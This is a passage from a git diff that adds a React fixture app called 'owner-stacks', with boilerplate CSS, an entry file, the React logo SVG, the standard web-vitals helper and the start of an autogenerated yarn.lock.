+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
diff --git a/fixtures/owner-stacks/src/index.js b/fixtures/owner-stacks/src/index.js
new file mode 100644
index 000000000000..d563c0fb10ba
--- /dev/null
+++ b/fixtures/owner-stacks/src/index.js
@@ -0,0 +1,17 @@
+import React from 'react';
+import ReactDOM from 'react-dom/client';
+import './index.css';
+import App from './App';
+import reportWebVitals from './reportWebVitals';
+
+const root = ReactDOM.createRoot(document.getElementById('root'));
+root.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>
+);
+
+// If you want to start measuring performance in your app, pass a function
+// to log results (for example: reportWebVitals(console.log))
+// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
+reportWebVitals();
diff --git a/fixtures/owner-stacks/src/logo.svg b/fixtures/owner-stacks/src/logo.svg
new file mode 100644
index 000000000000..9dfc1c058ceb
--- /dev/null
+++ b/fixtures/owner-stacks/src/logo.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 841.9 595.3"><g fill="#61DAFB"><path d="M666.3 296.5c0-32.5-40.7-63.3-103.1-82.4 14.4-63.6 8-114.2-20.2-130.4-6.5-3.8-14.1-5.6-22.4-5.6v22.3c4.6 0 8.3.9 11.4 2.6 13.6 7.8 19.5 37.5 14.9 75.7-1.1 9.4-2.9 19.3-5.1 29.4-19.6-4.8-41-8.5-63.5-10.9-13.5-18.5-27.5-35.3-41.6-50 32.6-30.3 63.2-46.9 84-46.9V78c-27.5 0-63.5 19.6-99.9 53.6-36.4-33.8-72.4-53.2-99.9-53.2v22.3c20.7 0 51.4 16.5 84 46.6-14 14.7-28 31.4-41.3 49.9-22.6 2.4-44 6.1-63.6 11-2.3-10-4-19.7-5.2-29-4.7-38.2 1.1-67.9 14.6-75.8 3-1.8 6.9-2.6 11.5-2.6V78.5c-8.4 0-16 1.8-22.6 5.6-28.1 16.2-34.4 66.7-19.9 130.1-62.2 19.2-102.7 49.9-102.7 82.3 0 32.5 40.7 63.3 103.1 82.4-14.4 63.6-8 114.2 20.2 130.4 6.5 3.8 14.1 5.6 22.5 5.6 27.5 0 63.5-19.6 99.9-53.6 36.4 33.8 72.4 53.2 99.9 53.2 8.4 0 16-1.8 22.6-5.6 28.1-16.2 34.4-66.7 19.9-130.1 62-19.1 102.5-49.9 102.5-82.3zm-130.2-66.7c-3.7 12.9-8.3 26.2-13.5 39.5-4.1-8-8.4-16-13.1-24-4.6-8-9.5-15.8-14.4-23.4 14.2 2.1 27.9 4.7 41 7.9zm-45.8 106.5c-7.8 13.5-15.8 26.3-24.1 38.2-14.9 1.3-30 2-45.2 2-15.1 0-30.2-.7-45-1.9-8.3-11.9-16.4-24.6-24.2-38-7.6-13.1-14.5-26.4-20.8-39.8 6.2-13.4 13.2-26.8 20.7-39.9 7.8-13.5 15.8-26.3 24.1-38.2 14.9-1.3 30-2 45.2-2 15.1 0 30.2.7 45 1.9 8.3 11.9 16.4 24.6 24.2 38 7.6 13.1 14.5 26.4 20.8 39.8-6.3 13.4-13.2 26.8-20.7 39.9zm32.3-13c5.4 13.4 10 26.8 13.8 39.8-13.1 3.2-26.9 5.9-41.2 8 4.9-7.7 9.8-15.6 14.4-23.7 4.6-8 8.9-16.1 13-24.1zM421.2 430c-9.3-9.6-18.6-20.3-27.8-32 9 .4 18.2.7 27.5.7 9.4 0 18.7-.2 27.8-.7-9 11.7-18.3 22.4-27.5 32zm-74.4-58.9c-14.2-2.1-27.9-4.7-41-7.9 3.7-12.9 8.3-26.2 13.5-39.5 4.1 8 8.4 16 13.1 24 4.7 8 9.5 15.8 14.4 23.4zM420.7 163c9.3 9.6 18.6 20.3 27.8 32-9-.4-18.2-.7-27.5-.7-9.4 0-18.7.2-27.8.7 9-11.7 18.3-22.4 27.5-32zm-74 58.9c-4.9 7.7-9.8 15.6-14.4 23.7-4.6 8-8.9 16-13 24-5.4-13.4-10-26.8-13.8-39.8 13.1-3.1 26.9-5.8 41.2-7.9zm-90.5 125.2c-35.4-15.1-58.3-34.9-58.3-50.6 0-15.7 22.9-35.6 58.3-50.6 8.6-3.7 18-7 27.7-10.1 5.7 19.6 13.2 40 22.5 60.9-9.2 20.8-16.6 41.1-22.2 60.6-9.9-3.1-19.3-6.5-28-10.2zM310 490c-13.6-7.8-19.5-37.5-14.9-75.7 1.1-9.4 2.9-19.3 5.1-29.4 19.6 4.8 41 8.5 63.5 10.9 13.5 18.5 27.5 35.3 41.6 50-32.6 30.3-63.2 46.9-84 46.9-4.5-.1-8.3-1-11.3-2.7zm237.2-76.2c4.7 38.2-1.1 67.9-14.6 75.8-3 1.8-6.9 2.6-11.5 2.6-20.7 0-51.4-16.5-84-46.6 14-14.7 28-31.4 41.3-49.9 22.6-2.4 44-6.1 63.6-11 2.3 10.1 4.1 19.8 5.2 29.1zm38.5-66.7c-8.6 3.7-18 7-27.7 10.1-5.7-19.6-13.2-40-22.5-60.9 9.2-20.8 16.6-41.1 22.2-60.6 9.9 3.1 19.3 6.5 28.1 10.2 35.4 15.1 58.3 34.9 58.3 50.6-.1 15.7-23 35.6-58.4 50.6zM320.8 78.4z"/><circle cx="420.9" cy="296.5" r="45.7"/><path d="M520.5 78.1z"/></g></svg>
\ No newline at end of file
diff --git a/fixtures/owner-stacks/src/reportWebVitals.js b/fixtures/owner-stacks/src/reportWebVitals.js
new file mode 100644
index 000000000000..b0320f330b54
--- /dev/null
+++ b/fixtures/owner-stacks/src/reportWebVitals.js
@@ -0,0 +1,13 @@
+const reportWebVitals = onPerfEntry => {
+  if (onPerfEntry && onPerfEntry instanceof Function) {
+    import('web-vitals').then(({getCLS, getFID, getFCP, getLCP, getTTFB}) => {
+      getCLS(onPerfEntry);
+      getFID(onPerfEntry);
+      getFCP(onPerfEntry);
+      getLCP(onPerfEntry);
+      getTTFB(onPerfEntry);
+    });
+  }
+};
+
+export default reportWebVitals;
diff --git a/fixtures/owner-stacks/yarn.lock b/fixtures/owner-stacks/yarn.lock
new file mode 100644
index 000000000000..84e18efe8383
--- /dev/null
+++ b/fixtures/owner-stacks/yarn.lock
@@ -0,0 +1,9688 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@alloc/quick-lru@^5.2.0":
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/@alloc/quick-lru/-/quick-lru-5.2.0.tgz#7bf68b20c0a350f936915fcae06f58e32007ce30"
+  integrity sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==
+
+"@ampproject/remapping@^2.2.0":
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.3.0.tgz#ed441b6fa600072520ce18b43d2c8cc8caecc7f4"
+  integrity sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@apideck/better-ajv-errors@^0.3.1":
+  version "0.3.6"
+  resolved "https://registry.yarnpkg.com/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz#957d4c28e886a64a8141f7522783be65733ff097"
+  integrity sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==
+  dependencies:
+    json-schema "^0.4.0"
+    jsonpointer "^5.0.0"
+    leven "^3.1.0"
+
+"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.16.0", "@babel/code-frame@^7.25.9", "@babel/code-frame@^7.26.2", "@babel/code-frame@^7.8.3":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/compat-data@^7.22.6", "@babel/compat-data@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.26.5.tgz#df93ac37f4417854130e21d72c66ff3d4b897fc7"
+  integrity sha512-XvcZi1KWf88RVbF9wn8MN6tYFloU5qX8KjuF3E1PVBmJ9eypXfs4GRiJwLuTZL0iSnJUKn1BFPa5BPZZJyFzPg==
+
+"@babel/core@^7.1.0", "@babel/core@^7.11.1", "@babel/core@^7.12.3", "@babel/core@^7.16.0", "@babel/core@^7.7.2", "@babel/core@^7.8.0":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.26.7.tgz#0439347a183b97534d52811144d763a17f9d2b24"
+  integrity sha512-SRijHmF0PSPgLIBYlWnG0hyeJLwXE2CgpsXaMOrtt2yp9/86ALw6oUlj9KYuZ0JN07T4eBMVIW4li/9S1j2BGA==
+  dependencies:
+    "@ampproject/remapping" "^2.2.0"
+    "@babel/code-frame" "^7.26.2"
+    "@babel/generator" "^7.26.5"
+    "@babel/helper-compilation-targets" "^7.26.5"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helpers" "^7.26.7"
+    "@babel/parser" "^7.26.7"
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.26.7"
+    "@babel/types" "^7.26.7"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/eslint-parser@^7.16.3":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/eslint-parser/-/eslint-parser-7.26.5.tgz#aa669f4d873f9cd617050cf3c40c19cd96307efb"
+  integrity sha512-Kkm8C8uxI842AwQADxl0GbcG1rupELYLShazYEZO/2DYjhyWXJIOUVOE3tBYm6JXzUCNJOZEzqc4rCW/jsEQYQ==
+  dependencies:
+    "@nicolo-ribaudo/eslint-scope-5-internals" "5.1.1-v1"
+    eslint-visitor-keys "^2.1.0"
+    semver "^6.3.1"
+
+"@babel/generator@^7.26.5", "@babel/generator@^7.7.2":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.5.tgz#e44d4ab3176bbcaf78a5725da5f1dc28802a9458"
+  integrity sha512-2caSP6fN9I7HOe6nqhtft7V4g7/V/gfDsC3Ag4W7kEzzvRGKqiv0pu0HogPiZ3KaVSoNDhUws6IJjDjpfmYIXw==
+  dependencies:
+    "@babel/parser" "^7.26.5"
+    "@babel/types" "^7.26.5"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
+
+"@babel/helper-annotate-as-pure@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz#d8eac4d2dc0d7b6e11fa6e535332e0d3184f06b4"
+  integrity sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-compilation-targets@^7.22.6", "@babel/helper-compilation-targets@^7.25.9", "@babel/helper-compilation-targets@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.26.5.tgz#75d92bb8d8d51301c0d49e52a65c9a7fe94514d8"
+  integrity sha512-IXuyn5EkouFJscIDuFF5EsiSolseme1s0CZB+QxVugqJLYmKdxI1VfIBOst0SUu4rnk2Z7kqTwmoO1lp3HIfnA==
+  dependencies:
+    "@babel/compat-data" "^7.26.5"
+    "@babel/helper-validator-option" "^7.25.9"
+    browserslist "^4.24.0"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
+"@babel/helper-create-class-features-plugin@^7.18.6", "@babel/helper-create-class-features-plugin@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.25.9.tgz#7644147706bb90ff613297d49ed5266bde729f83"
+  integrity sha512-UTZQMvt0d/rSz6KI+qdu7GQze5TIajwTS++GUozlw8VBJDEOAqSXwm1WvmYEZwqdqSGQshRocPDqrt4HBZB3fQ==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    semver "^6.3.1"
+
+"@babel/helper-create-regexp-features-plugin@^7.18.6", "@babel/helper-create-regexp-features-plugin@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.26.3.tgz#5169756ecbe1d95f7866b90bb555b022595302a0"
+  integrity sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    regexpu-core "^6.2.0"
+    semver "^6.3.1"
+
+"@babel/helper-define-polyfill-provider@^0.6.2", "@babel/helper-define-polyfill-provider@^0.6.3":
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.3.tgz#f4f2792fae2ef382074bc2d713522cf24e6ddb21"
+  integrity sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.22.6"
+    "@babel/helper-plugin-utils" "^7.22.5"
+    debug "^4.1.1"
+    lodash.debounce "^4.0.8"
+    resolve "^1.14.2"
+
+"@babel/helper-member-expression-to-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz#9dfffe46f727005a5ea29051ac835fb735e4c1a3"
+  integrity sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-imports@^7.10.4", "@babel/helper-module-imports@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
+  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-transforms@^7.25.9", "@babel/helper-module-transforms@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz#8ce54ec9d592695e58d84cd884b7b5c6a2fdeeae"
+  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-optimise-call-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz#3324ae50bae7e2ab3c33f60c9a877b6a0146b54e"
+  integrity sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.18.6", "@babel/helper-plugin-utils@^7.20.2", "@babel/helper-plugin-utils@^7.22.5", "@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.26.5", "@babel/helper-plugin-utils@^7.8.0":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz#18580d00c9934117ad719392c4f6585c9333cc35"
+  integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
+
+"@babel/helper-remap-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.25.9.tgz#e53956ab3d5b9fb88be04b3e2f31b523afd34b92"
+  integrity sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-wrap-function" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-replace-supers@^7.25.9":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz#6cb04e82ae291dae8e72335dfe438b0725f14c8d"
+  integrity sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==
+  dependencies:
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/traverse" "^7.26.5"
+
+"@babel/helper-skip-transparent-expression-wrappers@^7.20.0", "@babel/helper-skip-transparent-expression-wrappers@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz#0b2e1b62d560d6b1954893fd2b705dc17c91f0c9"
+  integrity sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-string-parser@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz#1aabb72ee72ed35789b4bbcad3ca2862ce614e8c"
+  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
+"@babel/helper-validator-option@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
+  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+
+"@babel/helper-wrap-function@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.25.9.tgz#d99dfd595312e6c894bd7d237470025c85eea9d0"
+  integrity sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g==
+  dependencies:
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helpers@^7.26.7":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.26.7.tgz#fd1d2a7c431b6e39290277aacfd8367857c576a4"
+  integrity sha512-8NHiL98vsi0mbPQmYAGWwfcFaOy4j2HY49fXJCfuDcdE7fMIsH9a7GdaeXpIBsbT7307WU8KCMp5pUVDNL4f9A==
+  dependencies:
+    "@babel/template" "^7.25.9"
+    "@babel/types" "^7.26.7"
+
+"@babel/parser@^7.1.0", "@babel/parser@^7.14.7", "@babel/parser@^7.20.7", "@babel/parser@^7.25.9", "@babel/parser@^7.26.5", "@babel/parser@^7.26.7":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.7.tgz#e114cd099e5f7d17b05368678da0fb9f69b3385c"
+  integrity sha512-kEvgGGgEjRUutvdVvZhbn/BxVt+5VSpwXz1j3WYXQbXDo8KzFOPNG2GQbdAiNq8g6wn1yKk7C/qrke03a84V+w==
+  dependencies:
+    "@babel/types" "^7.26.7"
+
+"@babel/plugin-bugfix-firefox-class-in-computed-class-key@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.25.9.tgz#cc2e53ebf0a0340777fff5ed521943e253b4d8fe"
+  integrity sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-bugfix-safari-class-field-initializer-scope@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.25.9.tgz#af9e4fb63ccb8abcb92375b2fcfe36b60c774d30"
+  integrity sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz#e8dc26fcd616e6c5bf2bd0d5a2c151d4f92a9137"
+  integrity sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.25.9.tgz#807a667f9158acac6f6164b4beb85ad9ebc9e1d1"
+  integrity sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
+
+"@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.25.9.tgz#de7093f1e7deaf68eadd7cc6b07f2ab82543269e"
+  integrity sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-proposal-class-properties@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz#b110f59741895f7ec21a6fff696ec46265c446a3"
+  integrity sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
+"@babel/plugin-proposal-decorators@^7.16.4":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.25.9.tgz#8680707f943d1a3da2cd66b948179920f097e254"
+  integrity sha512-smkNLL/O1ezy9Nhy4CNosc4Va+1wo5w4gzSZeLe6y6dM4mmHfYOCPolXQPHQxonZCF+ZyebxN9vqOolkYrSn5g==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-syntax-decorators" "^7.25.9"
+
+"@babel/plugin-proposal-nullish-coalescing-operator@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz#fdd940a99a740e577d6c753ab6fbb43fdb9467e1"
+  integrity sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+
+"@babel/plugin-proposal-numeric-separator@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz#899b14fbafe87f053d2c5ff05b36029c62e13c75"
+  integrity sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+
+"@babel/plugin-proposal-optional-chaining@^7.16.0":
+  version "7.21.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz#886f5c8978deb7d30f678b2e24346b287234d3ea"
+  integrity sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.20.2"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
+    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+
+"@babel/plugin-proposal-private-methods@^7.16.0":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz#5209de7d213457548a98436fa2882f52f4be6bea"
+  integrity sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.18.6"
+
+"@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2":
+  version "7.21.0-placeholder-for-preset-env.2"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz#7844f9289546efa9febac2de4cfe358a050bd703"
